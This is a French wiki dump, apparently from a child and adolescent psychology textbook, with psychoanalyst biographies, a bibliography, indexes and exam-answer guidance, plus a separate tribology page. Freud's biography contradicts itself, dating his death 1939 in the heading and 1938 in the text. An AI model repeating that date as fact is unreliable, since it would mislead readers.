les enfants , même gravement malades et par une capacité d'écoute des mères étonnante. Durant les quinze dernières années de sa vie , à travers la radio puis la télévision, elle devint la figure la plus populaire de la France freudienne. Elle fut critiquée par le milieu psychanalytique qui lui reprochait de faire descendre le divan dans la rue. * Parmi ses ouvrages majeurs on retiendra : * Psychanalyse et pédiatrie 1939 * Séminaire de psychanalyse d'enfant t.1 et t.2 1982 et t.3 1985 Sexualité féminine, la libido génitale et son destin 1982 == FREUD Schlomo Sigismund, dit Sigmund ( 1856-1939) == Faire une note biographique sur Freud n'est pas chose aisée ceci d'autant plus que des dizaines de biographies , des centaines d'articles existent déjà sur la vie et l'œuvre de Freud. L' " invention " de la psychanalyse, discipline qui a renouvelée en profondeur la psychiatrie et la psychologie, et qui existe en tant que discipline autonome maintenant, lui est entièrement due. En 1967 Laplanche et Pontalis ( voir biblio)ont recensé 90 concepts strictement freudiens à l'intérieur d'un vocabulaire de 430 termes. Le postulat-largement vérifié depuis-de Freud est qu'il y a des pensées inconscientes à l'intérieur de nous-mêmes qui régissent en grande partie notre fonctionnement psychique et qui restent à jamais inaccessibles. On peut seulement en constater les manifestations 'indirectes' à travers les rêves ,les symptômes névrotiques ( et psychotiques) ainsi que la 'psychopathologie de la vie quotidienne' (lapsus , oublis , actes manqués).Ce qui fît scandale dans son œuvre fut non seulement l'hypothèse d'un Inconscient mais également la supposition d'une " sexualité infantile " c'est-à-dire l'érotisation des zones corporelles sur lesquelles est porté l'attention parentale à un moment donné de l'évolution. Après une formation classique de médecin à Vienne Freud se rend en 1885 à Paris pour assister à la présentation de malades de Charcot à La Salpétrière (il s'agissait de femmes hystériques). De retour à Vienne Freud ouvrit un cabinet privé où il reçut principalement les femmes de la bourgeoisie viennoise atteintes de " troubles nerveuses ". Dans un premier temps il utilisa les méthodes thérapeutiques de l'époque avant de se tourner-avec Breuer-vers l'hypnose. Déçu des résultats thérapeutiques il met au point progressivement la méthode psychanalytique c'est-à-dire la libre association, l'interprétation des rêves et enfin l'analyse du transfert. Ce développement de la méthode psychanalytique ne se fît pas sans à-coups. Outre l'antisémitisme croissant qui régnait à Vienne du début du XXe siècle Freud eut à faire à l'opposition voire la dissidence de certains de ses élèves ou disciples-dont la plus fameuse fut la scission avec Jung-- ; encore de nos jours la résistance à la psychanalyse est particulièrement vive dans certains milieux. Il n'est pas possible de résumer en quelques lignes l'étendu des découvertes freudiennes , ses tâtonnements et revirements théoriques. Des disciples de nombreux pays vinrent assister à son enseignement qui gagna progressivement l'Europe puis les USA ( surtout avec l'émigration massive des psychanalystes juifs devant le péril nazie. D'ailleurs Freud fut obligé de quitter Vienne pour la même raison après l'annexion de l'Autriche par l'Allemagne nazie et après un bref arrêt à Paris Freud s'installa à Londres où il mourut en 1938. L'œuvre de Freud est considérable : il a écrit 24 ouvrages majeurs ( dont deux en collaboration), de nombreux articles et l'on estime à 15000-20000 lettres l'ensemble des échanges épistolaires qu'il eut avec ses divers amis et disciples concernant l'évolution de sa théorie. Pour une bibliographie on se référa à la bibliographie générale de ce livre. == KLEIN Mélanie, née Reizes ( 1882-1960) == Après une enfance marquée par une succession de deuils dans son entourage familial le plus proche Mélanie , chroniquement dépressive , avait commencé des études de médecine afin de devenir psychiatre. Elle s'est également précipitée dans son mariage avec Arthur Klein en 1903 dont elle divorcera en 1922.Ils eurent trois enfants ce qui a son importance parce que Mélanie Klein se servit de l'observation minutieuse de ses propres enfants pour étayer ses thèses sur les troubles psychopathologiques précoces d'enfants gravement atteint sur le plan psychopathologique. Les difficultés économiques suite à la mort de son père l'obligèrent à abandonner ses études. En 1910 elle se fixa à Budapest , en 1914 elle lut les premiers textes de Freud et débuta une analyse avec Ferenczi. En 1919 elle entra à la Société Psychanalytique de Budapest. Dès le début de son activité d'analyste elle s'intéresse plus particulièrement à l'analyse des jeunes enfants. Devant la terreur blanche elle est obligée de fuir le pays et s'installe à Berlin où elle entreprend une 2e analyse avec Abraham. En 1926 elle quitte Berlin pour Londres où elle installe définitivement avec l'aide de Strachey et Jones. Parallèlement le différend théorique qui oppose Anna Freud , la fille de Sigmund, et Mélanie Klein ne cesse de s'accroître et va durer jusqu'à leur mort. Klein développe une théorie-pour rendre compte des troubles psychotiques et autistes chez de jeunes enfants-qui présuppose une situation oedipienne très précoce parallèlement à un ensemble de manifestations de la pulsion de mort également à des stades très proches de la naissance. La BPS (British Psychoanalytical Society)alla se diviser pendant les années 30 à 50 entre kleiniens , annafreudiens et Indépendants. Parmi ses ouvrages principaux ,elle a relativement peu écrit , on peut citer * La psychanalyse des enfants * Essais de psychanalyse * Envie et gratitude == PIAGET,Jean (1896-1980) == Piaget a commencé très jeune à se préoccuper de problèmes psychologiques. Après-coup il décide de construire une théorie biologique de la connaissance mais il découvre que la connaissance n'est pas seulement une imitation des objets mais aussi une assimilation aux structures de l'organisme. Il a écrit une " Introduction à l'Epistémologie génétique "(1949-1950) en trois tomes qui est son ouvrage le plus important. == WALLON, Henri (1879-1962) == Homme politique (S.F.I.O. puis P.C.) il présida la fameuse commission de réforme de l'enseignement Langevin-Wallon en 1945. Par ailleurs en tant que neuropsychiatre il s'était spécialisé dans la Psychologie de l'Enfant (il fut Professeur honoraire au Collège de France. Il mit l'accent sur l'interdépendance des facteurs biologiques (maturation du système nerveux) et sociaux dans le développement psychique de l'enfant. Contrairement à Piaget il affirma que celui-ci se fait par une succession discontinue de stades, le passage de l'un à l'autre n'étant " pas une simple amplification mais un remaniement ", une transformation brusque impliquant conflit et choix entre ancien et nouveau type d'activité. Cette conception du développement de la pensée se veut à la fois basée sur l'observation et en accord avec les principes du matérialisme dialectique et historique. Parmi ses ouvrages on retiendra : * L'évolution psychologique de l'enfant 1934 * De l'Acte à la Pensée 1942 * Les Origines de la pensée chez l'enfant 1945 == WINNICOTT,Donald Woods (1896-1971) == Doué d'un exceptionnel génie clinique , ce grand pédiatre , considéré par ses collègues comme un enfant terrible , fut , avant l'arrivée de Mélanie Klein à Londres, le père fondateur de la psychanalyse des enfants en Grande-Bretagne Position paradoxale , puisque d'ordinaire ce sont les femmes qui occupent cette place dans l'histoire de la psychanalyse. . Il se passionna très tôt pour la biologie et la médecine. En 1923 il s'orienta vers la pédiatrie et la psychanalyse. Il poursuivit sa formation analytique et ses contrôles auprès de Klein , fût plus proche d'elle au niveau théorique mais refusa toujours de participer à la querelle institutionnelle et théorique entre Mélanie Klein et Anna Freud. A la différence de Klein il s'intéresse moins à la structuration interne du sujet qu'à sa dépendance à son environnement. Il récuse le concept freudien de " pulsion de mort ", utilisé par Klein dans l'explication des psychoses où il voit plutôt un échec de la relation maternelle. C'est son travail pendant la 2e guerre mondiale auprès d'enfants déplacés et privés de leur présence maternelle conduit Winnicott à accorder une place privilégiée à la dépendance biologique et psychique entre l'enfant et son environnement qui le conduira à son célèbre aphorisme de 1964 " le bébé n'existe pas " ( il faut également une " mère suffisamment bonne "). Dans son œuvre le lien mère-enfant prend une importance croissante au point qu'il voit dans le transfert une réplique du lien mère-enfant. Winnicott n'a que faire de l'orthodoxie et l'on lui doit de nombreuses " inventions " techniques( comme le " squiggle " par exemple). Indépendant sans être pour autant solitaire il n'aimait pas les sectes , les écoles , les chapelles , les imitateurs et même les disciples. C'est pourquoi tout en se montrant à la fois transgressif dans sa pratique et rigoureux dans sa doctrine , il n'hésita pas à soutenir des rebelles comme Laing, l'un des fondateurs de l'antipsychiatrie. Il dédia " Jeu et Réalité ",son dernier ouvrage publié lors de son vivant à ses patients qui " ont payé pour m'enseigner ". Parmi ses nombreux ouvrages on retiendra : * De la pédiatrie à la psychanalyse * Processus de maturation chez l'enfant * consultation thérapeutique et l'enfant * Jeu et Réalité * La " petite Piggle ". Traitement psychanalytique d'une petite fille. Bibliographie (Psychologie de l'Enfant et de l'Adolescent) 997 12651 2004-11-12T00:22:24Z 200.95.48.254 Karl Wick [[Psychologie de l’enfant et de l’adolescent]] = IV Bibliographie: = Ajuriaguerra,J. Psychopathologie de l'enfant Marcelli , D. Paris , Masson 1982 Alléon,A-M et coll. Adolescence terminée, adolescence interminable Paris , PUF 1985 Anatrella, T. Interminables adolescences Paris , Cerf-Cujas 1993 Ariès , P. L'enfant et la vie familiale sous l'Ancien Régime Paris , Ed. du Seuil 1960 Bergeret ,J. Abrégé de Psychologie Pathologique Paris , Masson 1974 Bick , E. Notes on infant observation in psychoanalytic training ( 1964) en français depuis 1985 ; traduction privée de Michel Haag Binet Etude expérimentale de l'intelligence 1903 Blos , P. Les adolescents. Essai de psychanalyse (1962) Paris , Stock 1967 Bowlby,J. L'attachement et perte Paris , PUF 1969 Braconnier, A. Réflexions sur les transformations psychiques. A propos de l'adolescence in Fedida, P. Communication et représentation Paris , PUF 1986 Braunschweig,D. ; Eros et Antéros Fain,M. Paris, Payot 1971 Brazelton,T.B. Psychophysiologic reactions of the neonate Journal of Pediatrics no 58 , 1961 Brazelton,T.B. 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Les débilités mentales Paris , Delachaux & Niestle 1979 Index des mots-clés (Psychologie de l'enfant et de l'adolescent) 998 12652 2004-11-12T00:26:04Z 200.95.48.254 [[Psychologie de l'enfant et de l'adolescent]] == Index des mots-clés (en marge du corpus) : == :" climat " de la psychothérapie d'enfants 208 :"régression ( la ) de l'enfant malade et l'agression subie par son corps " 179 :Accommodation 49 :Accordage des rythmes entre l'enfant et sa mère 176 :accueil des parents et leur participation aux soins 182 :Acquis 14 :Activité-passivité 86 adaptation du nourrisson au monde qui l'entoure 165 :Ambivalence 85 :Angoisse de castration 93 :appétence relationnelle précoce 162 :Assimilation ludique 50 :Assimilation 49 Attachement 49 :Auto-érotisme 70 :Bisexualité 86 :Boudin fécal 81 :But 74 :Ça 73 :Capacité à être seul 67 :CAT 27 :Censure de l'amante 99 :Changement d'objet 111 :Changement de cadre 8 :Choix de nouveaux objets libidinaux 116 :CMP 24 :CMPP 24 :Code élaboré 20 :Codes restreint 20 :communication par le cri 164 :compétences 160 :Complexe d'Œdipe 97 :Comportement différencié du nourrisson par rapport à la mère et au père 175 :Compte rendu 27 :Conflit 33 :Consultation 24 :Convention Internationale des Droits de l'Enfant 6 :Courbe de Gauss :Crise de l'adolescence 112 :Crise identificatoire 113 :Culpabilité 101 ; 108 :Curiosité sexuelle infantile 89 :Défense contre l'angoisse 63 :Désir 33 :déterminisme polyfactoriel 197 :Développement affectif de l'enfant 75 :Dialogue tonique 171 :échelle d'évaluation 160 :Empirisme 14 :Envie du pénis 95 :Epreuves de personnalité 25 :Etayage 70 ; 77 :Ethnologie 2 :Examen psychologique 24 :Expulsion 82 :Fiabilité de la mère 65 :fin d'une psychothérapie 210 :Fonction des cris du bébé 172 :Haine ( La ) 80 :Historien 2 :Holding 168 :Idéal du Moi 107 :Identification 106 :Il n'y a pas " la maladie " mais des maladies différentes avec des conséquences différentes 178 :Impasse logique 10 :Incorporation 78 :Inné 14 :insuffisance mentale ( définition ) 195 :Intelligence 16 ; 49 :Interaction mère-bébé 48 :interaction 166 :Jeu ( définition ) 52 ; 53 ; 56 ; 65 ; 67 :Jeu ( fonction ) 53 ; 54 ; 67 :Jeu comme régression 54 :Jeu d'exercices 50 :Jeu de fiction 53 ; 55 :Jeu de la bobine 56 :Jeu et angoisse 57 :Jeu et désir 56 :Jeu et imitation 55 :Jeu et maîtrise 58 :Jeu et plaisir 68 :Jeu et pulsion 59 ; 66 :Jeu fonctionnel 53 :Jeu social 59 :Jeu symbolique 51 :L'avènement du désir d'enfant 175 :L'enfant comme sujet de droit 7 :La pédiatrie se " psychologise " 177 :Langage mère-nourrisson 173 :Législateur 2 :Libido 74 :maladie et perspective traumatique 179 :Manipulation 81 :Masochisme 84 ; 85 :Masturbation 89 :maturation ; intégration ; acceptation 195 :Mécanismes de défense 33 :Médecine 2 :Mère suffisamment bonne 61 :Métapsychologie 72 :Moi 73 ; 108 :Narcissisme 87 :nécessité d'un bon soutien physique 164 :nécessité d'un environnement humain pour le nourrisson 166 :niveau de raisonnement 201 :Niveau de stimulation 47 :Notion de stade 122 :Objectivité 14 :objet de la psychopathologie 190 :Objet transitionnel ( définition ) 63 :Objet transitionnel et paradoxe 64 :Objet transitionnel 60 :Objet 74 :Objets de remplacements 102 :Objets partiels 79 :Observation comme sélection 38 :Observation longitudinale 36 :Observation psychanalytique du Nourrisson 40 :Observation transversale 36 :Observation 37 :organisateur psychique :Outil thérapeutique 43 :Passage de la problématique adolescente à un désir d'enfant partagé ou refoulement du désir d'enfant 158 :Patte Noire 27 :Pénis ( Le ) 88 ; 91 :Permanence des objets 59 :Pervers polymorphe 71 :Phallus ( Le ) 91 :Phénomènes de groupe 117 :Phénomènes transitionnels 62 :Plaisir anal 81 :Point de vue dynamique 72 :Point de vue économique 73 :Point de vue topique 72 :Post partum blues 157 :précurseurs de la psychopédagogie moderne 198 :préférence pour le visage humain 161 :Prévention 49 :Principe de la représentation 6 :Processus inconscients 31 :Programme génétique 21 :Prohibition de l'inceste 98 :Projection 25 ; 80 :Protection de l'enfance 6 :Psychanalyse 32 :Psychanalyste 39 ; 40 :Psychologie de l'enfant 1 ; 2 :Psychologie génétique 1 ; 35 :psychopathologie ( la ) comme champ indépendant 186 :psychopédagogie ( LA ) reste à inventer 201 :psychothérapie ( définition ) 203 :psychothérapie d'enfant ( définition ) 204 :psychothérapie freudienne 203 :Psychothérapies analytiques 30 :puberté (la) Pulsion sadique 84 ;79 :Pulsions agressives 74 :Pulsions sexuelles 74 :Q.I. 18 :Rationnalisme 14 r:éciprocité précoce de la communication 162 ;163 ; 172 :Refoulement 75 :regulation entre recherche de l'environnement humain et protection de soi 165 :Relation anaclitique 79 :Relation analyste-analysé 32 :Relation d'objet 78 relation entre le psychothérapeute et les parents etc. 209 :Relation sociale 47 :remaniement :répétition :Représentations fantasmatiques de la mère de son futur enfant 156 :Résolution de l'Œdipe 113 :Rétention 82 :Révolte contre les parents 116 :Rôle du père dans la réalité du bébé 174 :rôle social de l'hôpital lieu de détection possible etc. 184 :rôle de révélateur :Rorschach 26 :Sadique-anal 83 :Sadique-oral 80 :Scène primitive 90 :Sein maternel ( Le ) 77 :Sens clinique 22 :Sens 33 :Sentiment de famille 4 :Sentiment de toute-puissance 85 :séparation vers l'autonomie :Série des âges 123 :Sevrage ( Le ) 80 :Sexualité infantile 70 :Situations à risques 44 :Sociologie 2 :soins psychologiques et l'hôpital 185 :Source 74 :Stades 38 :Structure familiale réduite 5 :Sublimation 104 :Sublimation 110 :Sur-Moi 34 ; 73 ; 106 ; 107 :Symbolisme collectif 51 :TAT 26 :Test projectif 25 :Tests d'intelligence 22 :Théories sexuelles infantiles 90 :transfert lors d'une psychothérapie d'enfant ( définition) 207 :transformations psychiques :Transmission d'émotions 156 :travail ( le ) du psychothérapeute 206 :travail ( le ) structurant de l'Oedipe :Travail thérapeutique 44 :Triangualation 99 :Troubles psychopathologiques 29 :Vie psychique in utero 156 :Voyeurisme 90 :Zone buccale 76 :Zone d'illusion 61 :Zones érogènes 70 Tribologie - Diverses approches 999 40908 2006-04-25T13:30:24Z 86.220.48.118 /* USA */ [[Catégorie:Tribologie]] {{Tribologie}} ==Approche économique == Le frottement et l'usure sont responsables de pertes économiques colossales. Voici quelques exemples chiffrés : ===Angleterre=== En 1966, le ''Department of Education and Science'' estimait à 1 000 000 000 de livres sterling par an les pertes du pays par frottement et usure. Les économies possibles étaient évaluées à : *50 M£ : consommation d'énergie par frottement (« pertes directes »), *10 M£ : frais de lubrification, main d'œuvre, ... *10 M£ : frais de lubrifiants, *230 M£ : [[w:maintenance|maintenance]] et remplacement de pièces usées, *115 M£ : [[w:réparation|réparation]]s et pertes par arrêt des machines, *100 M£ : investissements supplémentaires en machines. On montre aussi dans cette étude que '''les pertes économiques provoquées par l'usure sont au moins 10 fois plus importantes que celles dues aux forces de frottement'''. Notons qu'à cette époque le [[w:SMIC|SMIC]] représentait 500 F par mois et que l'on a beaucoup manifesté en 1968 pour qu'il soit porté à 650 F, à peu près 100 €. La [[w:baguette de pain|baguette de pain]] coûtait 0,37 F et la livre sterling valait environ 20 F. ===URSS=== Le frottement et l'usure coûtent 10 à 12 milliards de [[rouble]]s par an (Kragelsky, Développement de la science relative à l'usure, au frottement et à la lubrification des corps durs en [[w:URSS|URSS]], Journal du frottement industriel, n°6, Janvier 1980). ===USA=== Une étude (ASME, strategy for energy conservation through tribology, 1977) évalue les pertes dans les systèmes pistons-segments-chemises des [[w:moteur thermique|moteurs|]] à 0,7 % de la consommation totale d'énergie des [[w:États-Unis|États-Unis]], soit 100 millions de barils de pétrole par an, coûtant 3 milliards de dollars dont 20 % récupérables en traçant mieux les pièces et en préparant mieux les surfaces. ===France=== On a calculé qu'en 1973, le quart du [[w:cuivre|cuivre]] importé était destiné aux coussinets et autres pièces frottantes, représentant 2,5 % du déficit de la [[w:balance commerciale|balance commerciale]], malgré les solutions de remplacement (traitement de l'acier ordinaire, utilisation de matières plastiques, d'alliages d'[[w:aluminium|aluminium]], ... ). Il est vrai que ces chiffres ne sont pas très récents, mais l'ampleur du phénomène, à quelques détails près, est la même aujourd'hui. '''La plupart des innovations décisives dans les domaines du frottement et de l'usure datent du 19e siècle et de la première moitié du 20e, on n'a pas fait beaucoup de progrès depuis !''' == Approche tribologique == C'est l'approche du chercheur qui, essayant de comprendre les choses, de découvrir des lois et des phénomènes nouveaux, doit étudier de plus en plus finement les surfaces, leurs substrats, ... Le « tribologue » travaille indifféremment à l'échelle de la machine, de la pièce, de l'aspérité, du [[w:cristal|cristal]] élémentaire, de la [[w:molécule|molécule]], voire de l'[[w:atome|atome]] ou de l'[[w:électron|électron]]. Pour étudier le frottement il faut non seulement posséder un vaste échantillonnage de connaissances scientifiques, mais aussi disposer du matériel indispensable : machines d'essais spécialisées ou non, appareils de mesure, d'observation ou d'analyse de toutes sortes. De plus, les expériences peuvent être fort longues : on ne peut pas toujours simuler les phénomènes de frottement par des procédures accélérées comme on le fait couramment dans d'autres domaines. Bref, la recherche en tribologie n'est pas facile... surtout si se vérifie le proverbe selon lequel « '''quand on n'a pas de crédits pour faire de la recherche alors il faut faire des calculs''' ». Manque de chance, pour l'essentiel, le frottement ne s'étudie pas avec des formules. Toutes ces particularités dissuadent fortement les universitaires qui souhaitent passer une thèse de choisir les domaines du frottement et de l'usure. == Approche du constructeur == Pendant que les économistes établissent le bilan du désastre et que les tribologues essaient de l'expliquer, les constructeurs se débrouillent comme il peuvent, obligés qu'il sont de proposer des solutions aux problèmes qui leur ont été soumis pour réaliser des machines et des équipements fonctionnels. Malheureusement, ils n'ont pas toujours les connaissances de tribologie nécessaires ni les bonnes informations économiques pour agir dans la bonne direction. En outre, ils vivent dans un système économique qui va infléchir, voire pervertir leur action. Comment expliquer que l'on continue de fabriquer certains mécanismes selon des méthodes archaïques, génératrices de frais de maintenance anormalement élevés, alors que ... * en remplaçant le contact acier/acier des cônes de [[w:synchroniseur|synchroniseur]]s de chars d'assaut par un contact [[w:cuivre|cuivre]]/[[w:molybdène|molybdène]], la fiabilité est améliorée et la durée de vie multipliée par 10. * le remplacement de coussinets en [[w:bronze|bronze]] par de l'acier traité dans les articulations de pelles mécaniques multiplie la durée de vie par 5 et diminue les coûts de 20 à 30 % (coussinets PEL). '''L'enseignement de la construction mécanique ne peut ignorer les pratiques induites par le contexte économico-politique dans lequel il s'exerce'''. En théorie, l'Ingénieur utilise les données de l'expérience ou de la recherche appliquée pour concevoir et réaliser des constructions alliant au mieux un coût de revient raisonnable, une durée de vie suffisante, un bon rendement mécanique et un confort d'utilisation acceptable. En pratique il en va tout autrement. Lorsque la conquête de marchés passe par la vente de produits à prix coûtant ou presque (on n'en dira pas plus car la vente à perte est illégale), il faut bien qu'une entreprise soutire encore quelque argent à sa clientèle. Chacun connaît le prix (et peut deviner le coût) des encres plus ou moins spécifiques pour les [[w:imprimante|imprimante]]s informatiques. En l'absence d'un juteux marché captif de consommables, il reste la solution du renouvellement artificiellement accéléré et/ou du service après-vente. La responsabilité du constructeur est ici clairement engagée. S'il sait comment calculer la durée de vie d'un produit, il sait aussi comment la réduire à une valeur prédéterminée ! Il n'est pas interdit de penser que certaines pannes à répétition, ou l'échange un peu trop fréquent de pièces dites « d'usure », ou même la défaillance « programmée » de certains équipements (lecteurs ou graveurs de cédéroms qui ont beaucoup de mal à fêter leur second anniversaire...) ne relèvent pas seulement d'une faute de conception ou de l'absence de matériaux vraiment appropriés. Les « amours perverses » de la concurrence et du savoir peuvent engendrer, selon les cas, le progrès technologique aussi bien que son contraire... Index des noms propres cités (en marge) (Psychologie de l'enfant et de l'adolescent) 1000 12654 2004-11-12T00:30:13Z Karl Wick 115 [[Psychologie de l'enfant et de l'adolescent]] == Index des noms propres cités ( en marge) == Abraham Ajuriaguerra Alby Anthony Ariès Badinter Bellak Bergeret Bergman Bernstein Bick Binet Bion Bowlby Braconnier Braunschweig Brazelton Birraux Brunet Cahn Caillois Casati Changeux Corman Cukier-Hemeury Delaisi de Parseval Delumeau Deshayes Diatkine Dolto Fain Fenichel Ferenczi Franck Freud Freud , Anna Gauss Gesell Golse Green Grenier Groos Guillaume Gutton Haag , Michel Haag, Géneviève Haley Hesselnberg Houzel Hurstel Itard Jacob Jaeger Kestemberg Kipman Klein Koupernik Kreisler Lacan Lafon Laplanche Laroque Lebovici Levi-Strauss Lézine Lorenz Mahler Malson Manciaux Mannoni Marcelli Marx Mazet Montessori Murray Myquel Osterrieth Pavlov Perrot Piaget Pinel Pontalis Preger Rabain-Lebovici Raimbault Rank Roche Rorschach Saussure , de Simon Sophocle Soulé Stern Taine Tiedeman Wallon Wechsler Widlöcher Winnicott Zazzo Annales et corrigés faits par l'auteur (Psychologie de l'enfant et de l'adolescent) 1001 12655 2004-11-12T00:34:11Z Karl Wick 115 [[Psychologie de l'enfant et de l'adolescent]] Annales et corrigés faits par l'auteur Au niveau des " corrigés " des annales nous allons donner seulement quelques mots-clé concernant l'analyse du sujet, de la recherche d'idées ou d'exemples et l'élaboration du plan. Ce canevas permettra au lecteur de construire lui-même une réponse ; afin de donner une illustration de cette méthode nous traiterons quelques sujets de façon complète ( nous indiquerons le chapitre du livre où l'intéressé pourra puiser des renseignements complémentaires). Ensuite nous nous bornerons à donner quelques exemples où nous irons jusqu'à une proposition de plan laissant au lecteur la liberté de la rédaction en fonction de cette méthode d'une part mais aussi de sa sensibilité personnelle d'autre part. * 1.Méthode pédagogique proposée quant au traitement des annales * 2.Quelques corrigés complets * Des exemples d'élaboration de plan 1.Méthode pédagogique quant au traitement des annales : Une étude récente de formateurs (Barlow,M. " Former et évaluer ses objectifs en formation ", Ed. Chroniques Sociales 1996) ayant analysé des raisons d'échec de certains candidats aux épreuves des annales du DEES a mis en évidence les raisons suivantes pour la non-réussite. Il s'agit de difficultés de trois ordres : * des difficultés d'organisation ( temporalité , choix des questions , etc.) ; * des difficultés d'écriture (mise en forme des idées et articulation des propos) ; * une absence ou pauvreté des contenus et réponses. Afin d'éviter aux candidats ces écueils nous allons proposer une méthode qui-à priori-peut paraître rigide mais qui in fine constitue une espèce de garde-fou et permet d'aborder les épreuves avec sérieux et sérénité. A) L'organisation du temps Le candidat dispose de 2h30 pour traiter quatre questions. De façon très schématique on peut proposer l'organisation suivante : *pour la lecture des sujets il faut compter à peu près dix minutes ; *on se fixe 30 minutes pour chaque épreuve ce qui laisse une marge de 20 minutes ; *chaque séquence de 30 minutes doit être consacrée à trois temps ou opérations de durée inégale : * compréhension et choix irréversible de la question ( le doute et les hésitations font perdre du temps inutilement) ; * organisation des connaissances disponibles et utilisables quant à l'épreuve( idées , citations, exemples cliniques, etc.) ; * rédaction finale de la question après l'avoir mise en forme à travers un plan. * Le candidat devrait s'obliger de passer à l'épreuve suivante après les 30 minutes " prévues " , si besoin en est il y reviendra ultérieurement( c'est aussi pour cette raison que le candidat se fixe 20 minutes de marge). " S'acharner " sur une question fait non seulement perdre du temps mais induit le doute chez le candidat pour le traitement des autres épreuves. * La 'marge' de 20 minutes permet de rédiger des compléments de réponse-si nécessaire, à relire la copie avec attention afin de pouvoir apporter des corrections toujours nécessaires tant sur la forme que sur le fond. Afin de bénéficier réellement de cette organisation du temps le candidat devrait la respecter minutieusement. Ainsi cette marge de sécurité tranquillise et sécurise même si cette organisation peut paraître artificielle et rigide. A) L'analyse du sujet L'analyse correcte du sujet consiste surtout en l'appréhension du domaine concerné précisément afin d'éviter les hors-sujet hélas trop fréquents. L'épreuve ne consiste pas à répondre à une question de cours ou à une récitation de connaissances livresques complètement sorties de leur contexte. Le maniement de concepts " à la mode " (tantôt la sociologie, tantôt la psychanalyse, etc.) n'est pas non plus un signe -non seulement de maturité-mais aussi d'une intégration et maîtrise réelle des connaissances relatifs au sujet de l'épreuve. La théorie et le recours à elle est certes nécessaire mais non suffisant ; il faut également une culture personnelle et l'expérience intégrée des situations professionnelles ( notamment des stages) vécues. L'épreuve a été conçu pour permettre au futur éducateur d'affirmer un point de vue argumenté , nuancé et orienté dans le sens d'une pratique professionnelle. Ainsi les positions spéculatives, doctrinaires , romancées sont à éviter. Donc la synthèse des connaissances personnelles, professionnelles et théoriques doit permettre au candidat d'arriver à une position claire et argumentée qui permet d'élaborer un plan. B) Le plan Comme dans toutes les sciences humaines la psychologie est encore plus un domaine où il n' y a guère de certitudes. La réponse à une épreuve constitue de ce fait presque toujours une approche de ce que l'on peut considérer comme une solution 'acceptable' ou 'souhaitable', les réponses parfaites et univoques n'existant pas dans ce domaine. Cette solution acceptable doit tenir compte des avantages et des inconvénients avant de pouvoir être acceptée comme telle. Nous retrouvons donc le schéma classique :la" thèse " ( qui regroupe tous les arguments allant dans le sens qui paraît à priori 'défendable'), l'" antithèse "( qui regroupe tous les inconvénients par rapport au premier point de vue) et la " synthèse " qui en pondérant les arguments pour ou contre une situation , solution, décision à prendre présente l'attitude qu'il semble le plus raisonnable d'adopter. Ainsi dans un plan on regroupe d'abord les idées qui vont vers une démarche de compréhension et d'analyse avant d'arriver aux idées relatives à une démarche à entreprendre. Dans chacun des groupes d'idées ( compréhension et démarche) il est utile d'essayer de hiérarchiser les idées afin de ne pas confondre les idées essentielles et les idées accessoires. 2.Quelques corrigés complets (Les sujets des épreuves sont tellement explicites qu'il n'y a pas matière à établir un plan avec la méthodologie indiquée ci-dessus). a) Enoncé de l'épreuve : DEES Sujet de la région Nord ( 1996 ) : Définissant le travail des éducateurs spécialisés , Philippe Mazet écrit : " Leur tâche thérapeutique est fondamentale , mais difficile à définir. Il ne s'agit pas de manier une technique spécifique mais de vivre réellement avec l'enfant et de lui donner l'occasion d'expériences favorables et restructurantes , de servir d'appui à ses processus d'identification . " b)Analyse du problème soulevé : * il s'agit d'une tentative de définition du travail de l'éducateur ; * l'importance de la tâche thérapeutique est soulignée mais également la difficulté d'une définition précise ; * il ne s'agit pas d'une technicité particulière ; * il s'agirait plutôt d'une coexistence entre le professionnel et l'enfant en difficulté ; * cette coexistence serait aussi 'naturelle' que possible et aussi proche d'une situation familiale normale afin qu'il puisse y avoir des processus d'identification positifs basés sur des situations structurantes. c) Eléments pour une réponse : Si l'on veut se rappeler les nouvelles connaissances sur les " compétences des nouveaux-nés , ceux-ci font très précocement la différence entre un environnement matériel et un environnement humain pour lequel ils marquent une nette préférence( voir chapitre 5.4.2 ). D'autre part - en parlant de la genèse des phénomènes transitionnels et du jeu-le psychanalyste britannique Winnicott ( chapitre 3.2.3) a démontré que la mère doit être " fiable "* comme il dit-pour le nourrisson dans ce sens qu'elle doit mettre à la disposition de celui-ci quelque chose juste au moment où il le désire au point que le nourrisson doit pouvoir imaginer que c'est lui-même qui a créé ce phénomène (souvent , au début de la vie, il s'agit du sein de la mère ou de la nourriture en général ).Cette zone , partagée par la mère et le nourrisson, est appelée " zone d'illusion " par Winnicott. Celui-ci pense qu'afin que le nourrisson puisse en sortir il faut une certaine qualité positive des 'éléments' qui déterminent la vie du nourrisson. L'étape suivante est ce que Winnicott appelle " la capacité à être seul en présence de la mère " pour le bébé , qui devient capable de supporter une certaine dose de frustration à condition que la mère soit proche physiquement et surtout psychiquement afin que la frustration du bébé n'excède pas un seuil tolérable pour lui et devienne déstructurante. A cette condition devient possible progressivement le jeu , la capacité de faire semblant , de faire' comme si' , de simuler et ainsi intégrer progressivement et surtout ludiquement les contraintes et frustrations inhérentes à la vie ( voir les chapitres 3.2.1 et 3.2.2 sur les fonctions du jeu). Et comme c'est démontré dans ces chapitres le jeu a une fonction essentielle dans la maturation psycho-affective de l'enfant. L'enfant qui n'a pas " appris " à jouer a un Préconscient défaillant , peu souple et il existe le risque soit d'une somatisation soit d'un système de passages à l'acte. La tâche thérapeutique de l'éducateur ( dans le sens de la citation de Mazet )est de permettre à l'enfant une néo-réalité qu'il n'a pas connu avec sa mère ou le substitut de celle-ci ; pour cela il est essentiel que l'éducateur puisse être vécue par l'enfant comme " fiable " , de même que le nourrisson avait besoin de cette expérience avec sa mère. CAFAMP Sujet de la région Lorraine ( 1997 ) : UF 1 Développement de l'être humain * Qu'est-ce qu'un objet transitionnel ? (Etant donné qu'il s'agit d'une définition à donner il n'y a pas matière à l'analyse de la situation ni à l'établissement d'un plan) Il s'agit d'un concept créé par Winnicott dans les années 50 dans le cadre de ses recherches sur les phénomènes transitionnels ( ce qui est développé en détail dans la 2e partie du sous-chapitre3.2.3 sur la compréhension psychanalytique du jeu). Le terme " transitionnel " est à entendre comme la transition entre la vie psychique embryonnaire du nourrisson et la réalité extérieure , représentée pour le nourrisson par la mère qui présente et représente le monde extérieur. Dans ce cadre il y a d'ailleurs trois termes anglais , créés par Winnicott , qui présentent des réalités psychiques bien précises et qui n'ont pas été traduisible en Français jusqu'ici : 1.)Holding : ce qui veut dire tenir , maintenir. Mais Winnicott n'entend pas seulement le maintien physique du bébé mais aussi le maintien psychique également ; dans le cadre du maintien psychique de son nourrisson la mère a un 